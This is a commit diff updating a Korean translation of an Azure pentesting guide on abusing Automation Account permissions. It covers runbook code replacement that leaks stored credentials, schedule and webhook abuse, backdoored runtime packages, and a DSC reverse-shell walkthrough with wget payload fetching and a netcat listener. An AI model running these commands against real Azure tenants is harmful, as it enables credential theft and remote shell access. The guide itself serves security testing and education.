Translated ['src/pentesting-cloud/aws-security/aws-basic-information/REA

This commit is contained in:
Translator
2025-03-17 03:51:29 +00:00
parent 7bf28c44fe
commit 6555c5d502
3 changed files with 96 additions and 66 deletions
@@ -12,18 +12,29 @@
### Hybrid Workers Group
공격자가 하이브리드 워커에서 임의의 런북(임의 코드)을 실행할 수 있는 경우, 그는 **VM의 위치로 피벗할 것입니다**. 이는 온프레미스 머신, 다른 클라우드의 VPC 또는 Azure VM일 수 있습니다.
- **자동화 계정에서 VM으로**
게다가, 하이브리드 워커가 Azure에서 다른 관리 ID가 연결된 상태로 실행되고 있다면, 런북은 **런북의 관리 ID와 VM의 모든 관리 ID에 접근할 수 있습니다**.
어떤 방법으로든 공격자가 하이브리드 워커에서 임의의 런북(임의 코드)을 실행할 수 있다면, 그는 **VM의 위치로 피벗할 수 있습니다**. 이는 온프레미스 머신, 다른 클라우드의 VPC 또는 Azure VM일 수 있습니다.
게다가, 하이브리드 워커가 Azure에서 다른 관리 ID와 함께 실행되고 있다면, 런북은 **런북의 관리 ID와 VM의 모든 관리 ID에 접근할 수 있습니다**.
> [!TIP]
> **메타데이터 서비스**는 관리 ID 토큰을 가져오는 서비스와 다른 URL (**`http://169.254.169.254`**)을 가지고 있다는 점을 기억하세요 (**`IDENTITY_ENDPOINT`**).
> **메타데이터 서비스**는 자동화 계정의 관리 ID 토큰을 가져오는 서비스와 다른 URL (**`http://169.254.169.254`**)을 가지고 있다는 점을 기억하세요 (**`IDENTITY_ENDPOINT`**).
- **VM에서 자동화 계정으로**
게다가, 누군가 자동화 계정 스크립트가 실행되고 있는 VM을 손상시키면, 그는 **자동화 계정** 메타데이터를 찾고 VM에서 접근하여 **자동화 계정에 연결된 관리 ID**에 대한 토큰을 얻을 수 있습니다.
다음 이미지에서 볼 수 있듯이, VM에 대한 관리자 접근 권한이 있으면 **프로세스의 환경 변수**에서 자동화 계정 메타데이터 서비스에 접근하기 위한 URL과 비밀을 찾을 수 있습니다:
![](</images/vm_to_aa.jpg>)
### `Microsoft.Automation/automationAccounts/jobs/write`, `Microsoft.Automation/automationAccounts/runbooks/draft/write`, `Microsoft.Automation/automationAccounts/jobs/output/read`, `Microsoft.Automation/automationAccounts/runbooks/publish/action` (`Microsoft.Resources/subscriptions/resourcegroups/read`, `Microsoft.Automation/automationAccounts/runbooks/write`)
요약하자면, 이러한 권한은 **Automation Account에서 런북을 생성, 수정 및 실행**할 수 있게 하며, 이를 통해 **Automation Account의 컨텍스트에서 코드를 실행**하고 할당된 **Managed Identities**에 대한 권한을 상승시키며 **자격 증명**과 **암호화된 변수**를 Automation Account에 저장된 상태로 유출할 수 있습니다.
요약하자면, 이러한 권한은 **자동화 계정에서 런북을 생성, 수정 및 실행**할 수 있게 하며, 이를 통해 **자동화 계정의 컨텍스트에서 코드를 실행**하고 할당된 **관리 ID**에 대한 권한을 상승시키며 **자격 증명**과 **암호화된 변수**를 자동화 계정에 저장된 상태로 유출할 수 있습니다.
권한 **`Microsoft.Automation/automationAccounts/runbooks/draft/write`**는 Automation Account에서 런북의 코드를 수정할 수 있게 해줍니다:
권한 **`Microsoft.Automation/automationAccounts/runbooks/draft/write`**는 자동화 계정에서 런북의 코드를 수정할 수 있게 해줍니다:
```bash
# Update the runbook content with the provided PowerShell script
az automation runbook replace-content --no-wait \
@@ -38,7 +49,7 @@ $creds.GetNetworkCredential().password'
```
이전 스크립트를 사용하여 **사용자 이름과 비밀번호**를 **leak**하고 Automation Account에 저장된 **암호화된 변수**의 값을 얻을 수 있음을 주목하십시오.
권한 **`Microsoft.Automation/automationAccounts/runbooks/publish/action`**은 사용자가 Automation Account에서 Runbook을 게시할 수 있도록 하여 변경 사항이 적용되도록 합니다.
권한 **`Microsoft.Automation/automationAccounts/runbooks/publish/action`**은 사용자가 Automation Account에서 Runbook을 게시할 수 있도록 하여 변경 사항이 적용되도록 합니다:
```bash
az automation runbook publish \
--resource-group <res-group> \
@@ -80,7 +91,7 @@ az rest --method PATCH \
```
### `Microsoft.Automation/automationAccounts/schedules/write`, `Microsoft.Automation/automationAccounts/jobSchedules/write`
권한 **`Microsoft.Automation/automationAccounts/schedules/write`**를 사용하면 다음 명령을 사용하여 15분마다 실행되는 새로운 스케줄을 자동화 계정에 생성할 수 있습니다 (그리 은밀하지 않음).
권한 **`Microsoft.Automation/automationAccounts/schedules/write`**를 사용하면 다음 명령을 사용하여 15분마다 실행되는 새로운 스케줄을 자동화 계정에 생성할 수 있습니다(그리 은밀하지 않음).
스케줄의 **최소 간격은 15분**이며, **최소 시작 시간은 5분** 후입니다.
```bash
@@ -104,7 +115,7 @@ az automation schedule create \
--frequency Minute \
--interval 15
```
그런 다음, 권한 **`Microsoft.Automation/automationAccounts/jobSchedules/write`**를 사용하여 runbook에 Scheduler를 할당할 수 있습니다:
그런 다음, 권한 **`Microsoft.Automation/automationAccounts/jobSchedules/write`**를 사용하여 다음을 통해 런북에 스케줄러를 할당할 수 있습니다:
```bash
az rest --method PUT \
--url "https://management.azure.com/subscriptions/<subscription-id>/resourceGroups/<res-group>/providers/Microsoft.Automation/automationAccounts/<automation-accounts>/jobSchedules/b510808a-8fdc-4509-a115-12cfc3a2ad0d?api-version=2015-10-31" \
@@ -129,7 +140,7 @@ az rest --method PUT \
권한 **`Microsoft.Automation/automationAccounts/webhooks/write`**를 사용하면 다음 명령어를 통해 Automation Account 내의 Runbook에 대한 새로운 Webhook을 생성할 수 있습니다.
웹훅 URI와 사용할 토큰을 **지정해야** 한다는 점에 유의하세요.
웹훅 URI **지정해야** 하며, 사용할 토큰을 포함해야 합니다.
```bash
az rest --method PUT \
--url "https://management.azure.com/subscriptions/<subscription-id>/resourceGroups/<res-group>/providers/Microsoft.Automation/automationAccounts/<automantion-account-name>/webhooks/<webhook-name>?api-version=2018-06-30" \
@@ -179,7 +190,7 @@ az rest --method get --url "https://management.azure.com/subscriptions/9291ff6e-
```
### `Microsoft.Automation/automationAccounts/sourceControls/write`, (`Microsoft.Automation/automationAccounts/sourceControls/read`)
이 권한은 사용자가 다음과 같은 명령을 사용하여 Automation Account에 대한 **소스 제어를 구성**할 수 있도록 허용합니다(이 예에서는 Github 사용합니다):
이 권한은 사용자가 다음과 같은 명령을 사용하여 Automation Account에 대한 **소스 제어를 구성**할 수 있도록 허용합니다(여기서는 Github을 예로 사용합니다):
```bash
az automation source-control create \
--resource-group <res-group> \
@@ -217,29 +228,29 @@ az rest --method PUT \
}
}'
```
### Custom Runtime Environments
### 사용자 정의 런타임 환경
자동화 계정이 사용자 정의 런타임 환경을 사용하는 경우, 런타임의 사용자 정의 패키지를 악성 코드(예: **백도어**)로 덮어쓸 수 있습니다. 이렇게 하면 해당 사용자 정의 런타임을 사용하는 런북이 실행되고 사용자 정의 패키지를 로드할 때 악성 코드가 실행됩니다.
### Compromising State Configuration
### 상태 구성 손상
**전체 게시물 확인하세요:** [**https://medium.com/cepheisecurity/abusing-azure-dsc-remote-code-execution-and-privilege-escalation-ab8c35dd04fe**](https://medium.com/cepheisecurity/abusing-azure-dsc-remote-code-execution-and-privilege-escalation-ab8c35dd04fe)
**전체 게시물 확인:** [**https://medium.com/cepheisecurity/abusing-azure-dsc-remote-code-execution-and-privilege-escalation-ab8c35dd04fe**](https://medium.com/cepheisecurity/abusing-azure-dsc-remote-code-execution-and-privilege-escalation-ab8c35dd04fe)
- Step 1 — Create Files
- 단계 1 — 파일 생성
**필요한 파일:** 두 개의 PowerShell 스크립트가 필요합니다:
1. `reverse_shell_config.ps1`: 페이로드를 가져 실행하는 Desired State Configuration (DSC) 파일입니다. [GitHub](https://github.com/nickpupp0/AzureDSCAbuse/blob/master/reverse_shell_config.ps1)에서 얻을 수 있습니다.
1. `reverse_shell_config.ps1`: 페이로드를 가져오고 실행하는 Desired State Configuration (DSC) 파일입니다. [GitHub](https://github.com/nickpupp0/AzureDSCAbuse/blob/master/reverse_shell_config.ps1)에서 얻을 수 있습니다.
2. `push_reverse_shell_config.ps1`: VM에 구성을 게시하는 스크립트로, [GitHub](https://github.com/nickpupp0/AzureDSCAbuse/blob/master/push_reverse_shell_config.ps1)에서 사용할 수 있습니다.
**사용자 정의:** 이 파일의 변수와 매개변수는 리소스 이름, 파일 경로 및 서버/페이로드 식별자를 포함하여 사용자의 특정 환경에 맞게 조정해야 합니다.
- Step 2 — Zip Configuration File
- 단계 2 — 구성 파일 압축
`reverse_shell_config.ps1`는 Azure Storage Account로 전송할 준비가 `.zip` 파일로 압축됩니다.
`reverse_shell_config.ps1` `.zip` 파일로 압축되어 Azure Storage Account로 전송할 준비가 됩니다.
```bash
Compress-Archive -Path .\reverse_shell_config.ps1 -DestinationPath .\reverse_shell_config.ps1.zip
```
- Step 3 — Storage Context 설정 및 업로드
- Step 3 — 저장소 컨텍스트 설정 및 업로드
압축된 구성 파일은 Azure의 Set-AzStorageBlobContent cmdlet을 사용하여 미리 정의된 Azure Storage 컨테이너인 azure-pentest에 업로드됩니다.
```bash
@@ -259,7 +270,7 @@ wget https://raw.githubusercontent.com/nickpupp0/AzureDSCAbuse/master/RevPS.ps1
- Step 6 — 페이로드 호스팅 및 리스너 설정
페이로드를 호스팅하기 위해 Python SimpleHTTPServer가 시작되며, 수신 연결을 캡처하기 위해 Netcat 리스너가 설정됩니다.
페이로드를 호스팅하기 위해 Python SimpleHTTPServer가 시작되며, 들어오는 연결을 캡처하기 위해 Netcat 리스너가 설정됩니다.
```bash
sudo python -m SimpleHTTPServer 80
sudo nc -nlvp 443